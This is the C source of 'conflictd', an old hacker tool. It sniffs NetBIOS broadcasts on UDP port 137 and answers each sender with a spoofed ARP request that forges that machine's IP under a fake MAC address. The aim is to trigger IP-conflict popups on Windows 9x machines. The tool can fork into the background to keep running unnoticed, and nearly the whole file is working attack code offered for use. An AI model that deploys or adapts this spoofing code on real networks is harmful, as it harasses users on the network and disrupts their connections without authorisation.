/*
 * IP conflict daemon (conflictd.c) - (c) noupe [tm@ns2.crw.se]
 *
 * This file contains code which spoofs ARP requests and make
 * Win9x popup an annoying message telling the luser that there's
 * an IP confict with some system (c0:ff:ee:00:be:ef) each time
 * the program sees broadcast stuff from port 137.
 *
 * Requires libpcap and libnet.
 * ftp://ftp.ee.lbl.gov/libpcap.tar.Z
 * http://www.packetfactory.net/Projects/Libnet/dist/libnet.tar.gz
 *
 * Usage: ./conflictd [interface] [-bg]
 *
 * 
 * Compiled & tested (found working too!) on FreeBSD 4.0
 *
 */

#include <stdio.h>
#include <libnet.h>
#include <pcap.h>
#include <arpa/inet.h>
#include <unistd.h>

int main(int argc, char **argv)
{
	char ebuf[0xff];
	char eth_broadcast[] = { 0xff, 0xff, 0xff, 0xff, 0xff, 0xff };
	char eth_src[] = { 0xc0, 0xff, 0xee, 0x00, 0xbe, 0xef };
	u_char *mdma, *pkt_buf;
	char *dev = NULL;
	u_long s_ip, d_ip;
	int do_ph0rk = 0;
	pcap_t *dev_id;
	struct pcap_pkthdr pkthdr;
	struct libnet_link_int *intf;
	struct libnet_ethernet_hdr *ethh;
	struct libnet_ip_hdr *iph;
	struct libnet_udp_hdr *udph;

	if(getuid())
	{
		printf("conflictd: run as root ashole!\n");
		return -1;
	}

	for(argc--; argc; argc--)
	{
		if(!strcmp(argv[argc], "-bg"))
			do_ph0rk++;
		else
			dev = argv[argc];
	}

	if(!dev && !(dev = pcap_lookupdev(ebuf)))
	{
		printf("pcap_lookupdev(): %s\n", ebuf);
		return -1;
	}

	printf("Using interface %s\n", dev);
	dev_id = pcap_open_live(dev, LIBNET_ETH_H+LIBNET_IP_H+LIBNET_UDP_H+32, 
				0 /* no promisc needed */, 1000, ebuf);
	if(!dev_id)
	{
		printf("pcap_open_live(): %s\n", ebuf);
		return -1;
	}

	intf = libnet_open_link_interface(dev, ebuf);
	if(!intf)
	{
		printf("libnet_open_link_interface(): %s\n", ebuf);
		pcap_close(dev_id);
		return -1;
	}

	if(do_ph0rk)
	{
		if(fork())
			exit(0);

		fclose(stderr);
		fclose(stdout);
		fclose(stdin);
	}

	while(1)
	{
		pkt_buf = (u_char *)pcap_next(dev_id, &pkthdr);
		if(!pkt_buf)
			continue;

		ethh = (struct libnet_ethernet_hdr *)pkt_buf;
		if(ntohs(ethh->ether_type) != ETHERTYPE_IP)
			continue;

		iph = (struct libnet_ip_hdr *)((char *)pkt_buf+LIBNET_ETH_H);
		if(iph->ip_p != IPPROTO_UDP)
			continue;

		udph = (struct libnet_udp_hdr *)((char *)pkt_buf+LIBNET_ETH_H+
				(iph->ip_hl<<2));

		if(ntohs(udph->uh_sport) != 137)
			continue;
		
		if(libnet_init_packet(LIBNET_ETH_H+LIBNET_ARP_H, &mdma) < 0)
		{
			printf("libnet_init_packet(): out of memory.\n");
			break;
		}

		libnet_build_ethernet(eth_broadcast, eth_src,
					ETHERTYPE_ARP, NULL, 0, mdma);

		d_ip = s_ip = iph->ip_src.s_addr;

		if(!do_ph0rk)
			printf("--> %s ==> POPUP\n", inet_ntoa(iph->ip_src));

		libnet_build_arp(ARPHRD_ETHER, ETHERTYPE_IP, ETHER_ADDR_LEN,
				 4, ARPOP_REQUEST, 
				 eth_src, (u_char *)&s_ip,
				 eth_broadcast, (u_char *)&d_ip, 
				 NULL, 0, mdma + LIBNET_ETH_H);

		if(libnet_write_link_layer(intf, dev, mdma, 
			LIBNET_ETH_H+LIBNET_ARP_H) < 0)
		{
			printf("libnet_write_link_layer(): "
				"Couldn't write packet\n");
			break;
		}

		libnet_destroy_packet(&mdma);
	}

	pcap_close(dev_id);
	
	return 0;
}

